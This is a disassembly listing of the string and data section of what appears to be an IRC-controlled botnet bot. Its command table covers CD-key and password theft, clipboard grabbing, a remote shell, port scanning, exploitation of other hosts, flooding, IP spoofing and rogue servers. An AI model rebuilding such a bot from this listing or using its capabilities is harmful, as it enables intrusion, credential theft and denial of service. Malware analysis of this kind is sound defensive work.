unk_440A40	db  2Dh	; -		; DATA XREF: sub_401CC7+29BAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 4
; char aAliases[]
aAliases	db 'aliases',0          ; DATA XREF: sub_401CC7+170Eo
; char aAl[]
aAl		db 'al',0               ; DATA XREF: sub_401CC7+1723o
		align 4
dword_440A88	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401CC7+28D3o
		dd 2E7473h
; char aLog[]
aLog		db 'log',0              ; DATA XREF: sub_401CC7+1738o
; char aLg[]
aLg		db 'lg',0               ; DATA XREF: sub_401CC7+174Do
		align 4
; char aS_36[]
aS_36		db '%s',0               ; DATA XREF: sub_401CC7+27F5o
		align 4
; char asc_440AAC[]
asc_440AAC	db '-'                  ; DATA XREF: sub_401CC7+2849o
		db 3, 34h, 2
		dd 2676F6Ch, 4C202D03h,	69747369h, 6C20676Eh, 2E676Fh
unk_440AC4	db  2Dh	; -		; DATA XREF: sub_401CC7+28B8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_3	db '- Failed to start listing thread, error: <%d>.',0
; char aClearlog[]
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401CC7+1762o
		align 4
; char aClg[]
aClg		db 'clg',0              ; DATA XREF: sub_401CC7+1777o
; char aNetinfo[]
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401CC7+178Co
; char aNi[]
aNi		db 'ni',0               ; DATA XREF: sub_401CC7+17A1o
		align 4
dword_440B18	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401CC7+27A4o
		dd 6F666E49h, 2Eh
; char aSysinfo[]
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401CC7+17B6o
; char aSi[]
aSi		db 'si',0               ; DATA XREF: sub_401CC7+17CBo
		align 10h
dword_440B40	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401CC7+2775o
		dd 2E6F666Eh, 0
; char aRemove[]
aRemove		db 'remove',0           ; DATA XREF: sub_401CC7+17E0o
		align 4
; char aRm[]
aRm		db 'rm',0               ; DATA XREF: sub_401CC7+17F5o
		align 4
dword_440B68	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401CC7+2720o
		dd 746F4220h, 2Eh
; char aProcs[]
aProcs		db 'procs',0            ; DATA XREF: sub_401CC7+180Ao
		align 4
; char aPs[]
aPs		db 'ps',0               ; DATA XREF: sub_401CC7+181Fo
		align 10h
unk_440B90	db  2Dh	; -		; DATA XREF: sub_401CC7+260Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 10h
; char aFull[]
aFull		db 'full',0             ; DATA XREF: sub_401CC7+266Fo
		align 4
; char asc_440BB8[]
asc_440BB8	db '-'                  ; DATA XREF: sub_401CC7+268Fo
		db 3, 34h, 2
		dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
		dd 2E7473h
; char asc_440BD4[]
asc_440BD4	db '-'                  ; DATA XREF: sub_401CC7+2704o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStar_4	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
; char aGetcdkeys[]
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401CC7+1834o
		align 4
; char aKey[]
aKey		db 'key',0              ; DATA XREF: sub_401CC7+1849o
dword_440C20	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401CC7+25EAo
aSearchComplete	db '- Search completed.',0
; char aUptime[]
aUptime		db 'uptime',0           ; DATA XREF: sub_401CC7+185Eo
		align 4
; char aUp[]
aUp		db 'up',0               ; DATA XREF: sub_401CC7+1873o
		align 4
; char asc_440C4C[]
asc_440C4C	db '-'                  ; DATA XREF: sub_401CC7+259Eo
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
; char aDriveinfo[]
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401CC7+1888o
		align 10h
; char aDrv[]
aDrv		db 'drv',0              ; DATA XREF: sub_401CC7+189Do
; char aTestdlls[]
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401CC7+18B2o
		align 10h
; char aDll[]
aDll		db 'dll',0              ; DATA XREF: sub_401CC7+18C7o
; char aOpencmd[]
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401CC7+18DCo
; char aOcmd[]
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401CC7+18F1o
		align 4
unk_440C94	db  2Dh	; -		; DATA XREF: sub_401CC7+24E5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
unk_440CC0	db  2Dh	; -		; DATA XREF: sub_401CC7+2504o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_440CE8	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_4041D5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
; char aCmdstop[]
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401CC7+1906o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_401CC7+191Fo
		align 10h
dword_440D20	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC7+1924o
; char aWho[]
aWho		db 'who',0              ; DATA XREF: sub_401CC7+192Fo
dword_440D30	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401CC7+194Co
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401CC7:loc_40363Eo
; char aD_S[]
aD_S		db '%d. %s',0           ; DATA XREF: sub_401CC7+1986o
		align 4
unk_440D54	db  2Dh	; -		; DATA XREF: sub_401CC7+19BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
; char aGetclip[]
aGetclip	db 'getclip',0          ; DATA XREF: sub_401CC7+1A4Co
; char aGc[]
aGc		db 'gc',0               ; DATA XREF: sub_401CC7+1A61o
		align 4
dword_440D84	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401CC7+24A1o
		dd 2Dh
dword_440D9C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401CC7+24CFo
		dd 72616F62h, 2E64h
; char aFlusharp[]
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401CC7+1A76o
		align 4
; char aFarp[]
aFarp		db 'farp',0             ; DATA XREF: sub_401CC7+1A8Bo
		align 4
unk_440DCC	db  2Dh	; -		; DATA XREF: sub_401CC7+248Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_440DF0	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_404158o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
; char aFlushdns[]
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401CC7+1AA0o
		align 4
; char aFdns[]
aFdns		db 'fdns',0             ; DATA XREF: sub_401CC7+1AB5o
		align 10h
unk_440E30	db  2Dh	; -		; DATA XREF: sub_401CC7+2458o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_440E54	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_404126o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
; char asc_440E80[]
asc_440E80	db '-'                  ; DATA XREF: sub_401CC7:loc_40412Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
; char aCurrentip[]
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401CC7+1ACAo
		align 4
; char aCip[]
aCip		db 'cip',0              ; DATA XREF: sub_401CC7+1ADFo
; char aRloginserver[]
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401CC7+1AF4o
		align 4
; char aRlogin[]
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401CC7+1B09o
		align 4
; char asc_440ED4[]
asc_440ED4	db '-'                  ; DATA XREF: sub_401CC7+2396o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_440F10	db  2Dh	; -		; DATA XREF: sub_401CC7+2405o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToStar_5	db '- Failed to start server thread, error: <%d>.',0
		align 4
; char aHttpserver[]
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401CC7+1B1Eo
		align 4
; char aHttp[]
aHttp		db 'http',0             ; DATA XREF: sub_401CC7+1B33o
		align 10h
; char asc_440F60[]
asc_440F60	db '-'                  ; DATA XREF: sub_401CC7+2245o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
; char asc_440F9C[]
asc_440F9C	db '-'                  ; DATA XREF: sub_401CC7+22B0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_6	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char aTftpserver[]
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401CC7+1B48o
		align 4
; char aTftp[]
aTftp		db 'tftp',0             ; DATA XREF: sub_401CC7+1B5Do
		align 4
unk_440FEC	db  2Dh	; -		; DATA XREF: sub_401CC7+201Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
; char asc_44100C[]
asc_44100C	db '-'                  ; DATA XREF: sub_401CC7+20CFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_441040	db  2Dh	; -		; DATA XREF: sub_401CC7+213Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_7	db ' Failed to start server thread, error: <%d>.',0
		align 4
; char aCrash[]
aCrash		db 'crash',0            ; DATA XREF: sub_401CC7+1B72o
		align 4
; char asc_441084[]
asc_441084	db '-'                  ; DATA XREF: sub_401CC7+1B88o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h
		dd 2Eh
aCrash_0	db 'crash',0            ; DATA XREF: sub_401CC7+1BC2o
		align 4
; char aScanall[]
aScanall	db 'scanall',0          ; DATA XREF: sub_401CC7+1BD8o
; char aSa[]
aSa		db 'sa',0               ; DATA XREF: sub_401CC7+1BEDo
		align 4
; char asc_4410B4[]
asc_4410B4	db '-'                  ; DATA XREF: sub_401CC7+1D5Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
unk_4410F4	db  2Dh	; -		; DATA XREF: sub_401CC7:loc_403CCBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_8	db '- Failed to start scan, port is invalid.',0
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401CC7+1F11o
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401CC7+1F18o
		align 10h
; char asc_441140[]
asc_441140	db '-'                  ; DATA XREF: sub_401CC7+1F43o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
; char asc_4411AC[]
asc_4411AC	db '-'                  ; DATA XREF: sub_401CC7+1FB4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_9	db '- Failed to start scan thread, error: <%d>.',0
		align 4
; char aPhonehome[]
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401CC7+1C02o
		align 4
; char aNoticeSPhoning[]
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1C19o
		align 4
; char aFindpass[]
aFindpass	db 'findpass',0         ; DATA XREF: sub_401CC7+1C2Co
		align 4
; char aFp[]
aFp		db 'fp',0               ; DATA XREF: sub_401CC7+1C3Do
		align 4
; char asc_441228[]
asc_441228	db '-'                  ; DATA XREF: sub_401CC7+1C86o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
unk_441250	db  2Dh	; -		; DATA XREF: sub_401CC7+1D00o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start search thread, error: <%d>.',0
; char aSpoof[]
aSpoof		db 'spoof',0            ; DATA XREF: sub_401CC7+19DCo
		align 4
; char Str2[]
Str2		db 'off',0              ; DATA XREF: sub_401CC7+19F3o
; char asc_441298[]
asc_441298	db '-'                  ; DATA XREF: sub_401CC7+1A0Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
; char aGet_2[]
aGet_2		db 'get',0              ; DATA XREF: sub_401CC7:loc_404C0Do
unk_4412C4	db  2Dh	; -		; DATA XREF: sub_401CC7+2F68o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
; char aD_D_D_[]
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401CC7+2FC1o
		align 4
unk_441308	db  2Dh	; -		; DATA XREF: sub_401CC7+2FD6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurr_0	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
unk_441340	db  2Dh	; -		; DATA XREF: sub_401CC7+2FEAo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char asc_441374[]
asc_441374	db '-'                  ; DATA XREF: sub_401CC7+3008o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
; char aExploit[]
aExploit	db 'exploit',0          ; DATA XREF: sub_401CC7+3022o
; char asc_4413A8[]
asc_4413A8	db '-'                  ; DATA XREF: sub_401CC7+30A8o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
unk_4413D8	db  2Dh	; -		; DATA XREF: sub_401CC7+311Ao
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
; char aReconnect_in[]
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401CC7+3125o
		align 4
; char aRin[]
aRin		db 'rin',0              ; DATA XREF: sub_401CC7+313Ao
; char aQuitReconnec_1[]
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A82o
		align 4
; char asc_441444[]
asc_441444	db '-'                  ; DATA XREF: sub_401CC7+7DD3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
; char aReconnect_in_m[]
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401CC7+314Fo
; char aRinms[]
aRinms		db 'rinms',0            ; DATA XREF: sub_401CC7+3164o
		align 4
; char aQuitReconnec_0[]
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A3Ao
		align 4
; char asc_44149C[]
asc_44149C	db '-'                  ; DATA XREF: sub_401CC7+7D8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 10h
; char aFlood[]
aFlood		db 'flood',0            ; DATA XREF: sub_401CC7+317Bo
		align 4
; char aLoad[]
aLoad		db 'load',0             ; DATA XREF: sub_401CC7+31A4o
		align 10h
; char asc_4414D0[]
asc_4414D0	db '-'                  ; DATA XREF: sub_401CC7+31FBo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
; char aPm_1[]
aPm_1		db 'pm',0               ; DATA XREF: sub_401CC7+322Do
		align 10h
; char asc_441500[]
asc_441500:				; DATA XREF: sub_401CC7+3248o
		unicode	0, < >,0
; char a__7[]
a__7:					; DATA XREF: sub_401CC7+324Do
		unicode	0, <_>,0
; char aPrivmsgSS[]
aPrivmsgSS	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+327Co
		align 4
; char aCt[]
aCt		db 'ct',0               ; DATA XREF: sub_401CC7+3299o
		align 4
; char asc_44151C[]
asc_44151C:				; DATA XREF: sub_401CC7+32B4o
		unicode	0, < >,0
; char a_[]
a_:					; DATA XREF: sub_401CC7+32B9o
		unicode	0, <_>,0
; char aPrivmsgS[]
aPrivmsgS	db 'privmsg %s :'       ; DATA XREF: sub_401CC7+32E8o
		dd 1732501h, 0
; char aNt_1[]
aNt_1		db 'nt',0               ; DATA XREF: sub_401CC7+3305o
		align 4
; char asc_44153C[]
asc_44153C:				; DATA XREF: sub_401CC7+3320o
		unicode	0, < >,0
; char a__8[]
a__8:					; DATA XREF: sub_401CC7+3325o
		unicode	0, <_>,0
; char aNoticeSS_1[]
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401CC7+3354o
		align 4
; char aMode[]
aMode		db 'mode',0             ; DATA XREF: sub_401CC7+3371o
		align 4
; char asc_44155C[]
asc_44155C:				; DATA XREF: sub_401CC7+338Co
		unicode	0, < >,0
; char a__0[]
a__0:					; DATA XREF: sub_401CC7+3391o
		unicode	0, <_>,0
; char aModeSS[]
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401CC7+33C0o
		align 10h
; char aJoin[]
aJoin		db 'join',0             ; DATA XREF: sub_401CC7+33DDo
		align 4
; char aJoinS[]
aJoinS		db 'join %s',0          ; DATA XREF: sub_401CC7+33FFo
; char aPart_1[]
aPart_1		db 'part',0             ; DATA XREF: sub_401CC7+341Co
		align 4
; char aPartS[]
aPartS		db 'part %s',0          ; DATA XREF: sub_401CC7+343Eo
; char aPartflood[]
aPartflood	db 'partflood',0        ; DATA XREF: sub_401CC7+345Bo
		align 4
; char aPartSS[]
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401CC7+3482o
		align 4
; char aPnick[]
aPnick		db 'pnick',0            ; DATA XREF: sub_401CC7+349Fo
		align 10h
; char aSI[]
aSI		db '%s%i',0             ; DATA XREF: sub_401CC7+34E0o
		align 4
; char aNickS_0[]
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_401CC7+34FBo
; char aJoinPart[]
aJoinPart	db 'join/part',0        ; DATA XREF: sub_401CC7+3518o
		align 4
; char aJoinS_0[]
aJoinS_0	db 'join %s',0          ; DATA XREF: sub_401CC7+3546o
; char aPartSS_0[]
aPartSS_0	db 'part %s %s',0       ; DATA XREF: sub_401CC7+3572o
		align 10h
; char aJoinS_1[]
aJoinS_1	db 'join %s',0          ; DATA XREF: sub_401CC7+35A9o
; char aPartSS_1[]
aPartSS_1	db 'part %s %s',0       ; DATA XREF: sub_401CC7+35E5o
		align 4
; char aJoinS_2[]
aJoinS_2	db 'join %s',0          ; DATA XREF: sub_401CC7+360Co
; char aPartSS_2[]
aPartSS_2	db 'part %s %s',0       ; DATA XREF: sub_401CC7+3648o
		align 4
; char aDcc[]
aDcc		db 'dcc',0              ; DATA XREF: sub_401CC7+3665o
; char aPrivmsgS_0[]
aPrivmsgS_0	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+36E2o
		dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
		dd 64252064h, 1
; char aNick_0[]
aNick_0		db 'nick',0             ; DATA XREF: sub_401CC7+36FFo
		align 4
; char aJoinS_3[]
aJoinS_3	db 'join %s',0          ; DATA XREF: sub_401CC7+3729o
; char aNickS_1[]
aNickS_1	db 'NICK %s',0          ; DATA XREF: sub_401CC7+375Co
; char aNickS_2[]
aNickS_2	db 'NICK %s',0          ; DATA XREF: sub_401CC7+37A0o
; char aNickS_3[]
aNickS_3	db 'NICK %s',0          ; DATA XREF: sub_401CC7+37E4o
; char aChgnick[]
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401CC7+3801o
; char aNickS_4[]
aNickS_4	db 'NICK %s',0          ; DATA XREF: sub_401CC7+382Bo
; char aMsg[]
aMsg		db 'msg',0              ; DATA XREF: sub_401CC7+3848o
; char aJoinS_4[]
aJoinS_4	db 'join %s',0          ; DATA XREF: sub_401CC7+3876o
; char aPrivmsgSS_0[]
aPrivmsgSS_0	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+38A2o
		align 4
; char aPrivmsgSS_1[]
aPrivmsgSS_1	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+38DEo
		align 4
; char aPrivmsgSS_2[]
aPrivmsgSS_2	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC7+391Ao
		align 4
; char aNotice_2[]
aNotice_2	db 'notice',0           ; DATA XREF: sub_401CC7+3937o
		align 10h
; char aJoinS_5[]
aJoinS_5	db 'join %s',0          ; DATA XREF: sub_401CC7+3965o
; char aNoticeSS_2[]
aNoticeSS_2	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3991o
		align 4
; char aNoticeSS_3[]
aNoticeSS_3	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+39CDo
		align 4
; char aNoticeSS_4[]
aNoticeSS_4	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3A09o
		align 4
; char aCtcp[]
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401CC7+3A26o
		align 10h
; char aJoinS_6[]
aJoinS_6	db 'join %s',0          ; DATA XREF: sub_401CC7+3A54o
; char aPrivmsgS_1[]
aPrivmsgS_1	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3A7Bo
		dd 6E697001h, 167h
; char aPrivmsgS_2[]
aPrivmsgS_2	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3AB2o
		dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_3[]
aPrivmsgS_3	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3AE9o
		dd 6E696601h, 1726567h,	0
; char aPrivmsgS_4[]
aPrivmsgS_4	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3B20o
		dd 6E696601h, 1726567h,	0
; char aMix[]
aMix		db 'mix',0              ; DATA XREF: sub_401CC7+3B3Do
; char aJoinS_7[]
aJoinS_7	db 'join %s',0          ; DATA XREF: sub_401CC7+3B6Bo
; char aPrivmsgS_5[]
aPrivmsgS_5	db 'PRIVMSG %s :'       ; DATA XREF: sub_401CC7+3B92o
		dd 6E697001h, 167h
; char aNoticeSS_5[]
aNoticeSS_5	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3BCEo
		align 4
; char aPrivmsgSS_3[]
aPrivmsgSS_3	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401CC7+3C0Ao
		align 4
; char aNoticeSS_6[]
aNoticeSS_6	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC7+3C46o
		align 4
; char aRegister[]
aRegister	db 'register',0         ; DATA XREF: sub_401CC7+3C63o
		align 10h
; char aNickservRegist[]
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC7+3C8Co
; char aOff_0[]
aOff_0		db 'off',0              ; DATA XREF: sub_401CC7+3CA9o
unk_4417CC	db  2Dh	; -		; DATA XREF: sub_401CC7+3CF0o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
; char aNick_1[]
aNick_1		db 'nick',0             ; DATA XREF: sub_401CC7+3D0Fo
		align 4
; char aN[]
aN:					; DATA XREF: sub_401CC7+3D24o
		unicode	0, <n>,0
; char aNickS_7[]
aNickS_7	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7D56o
		align 4
unk_44180C	db  2Dh	; -		; DATA XREF: sub_401CC7+7D69o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
; char aJoin_0[]
aJoin_0		db 'join',0             ; DATA XREF: sub_401CC7+3D39o
		align 4
; char aJ[]
aJ:					; DATA XREF: sub_401CC7+3D4Eo
		unicode	0, <j>,0
; char aJoinSS_3[]
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D36o
		align 4
unk_44184C	db  2Dh	; -		; DATA XREF: sub_401CC7+7D49o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 10h
; char aPart_2[]
aPart_2		db 'part',0             ; DATA XREF: sub_401CC7+3D63o
		align 4
; char aPt[]
aPt		db 'pt',0               ; DATA XREF: sub_401CC7+3D78o
		align 4
; char aPartS_2[]
aPartS_2	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC7+7D0Fo
		align 4
unk_441888	db  2Dh	; -		; DATA XREF: sub_401CC7+7D22o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
; char aRaw[]
aRaw		db 'raw',0              ; DATA XREF: sub_401CC7+3D8Do
; char aR_2[]
aR_2		db 'r',0                ; DATA XREF: sub_401CC7+3DA2o
		align 4
; char aS_20[]
aS_20		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC7+7CF1o
		align 4
dword_4418BC	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401CC7+7D02o
		dd 2E732520h, 0
; char aKillthread[]
aKillthread	db 'killthread',0       ; DATA XREF: sub_401CC7+3DB7o
		align 4
; char aK[]
aK:					; DATA XREF: sub_401CC7+3DCCo
		unicode	0, <k>,0
; char aAll[]
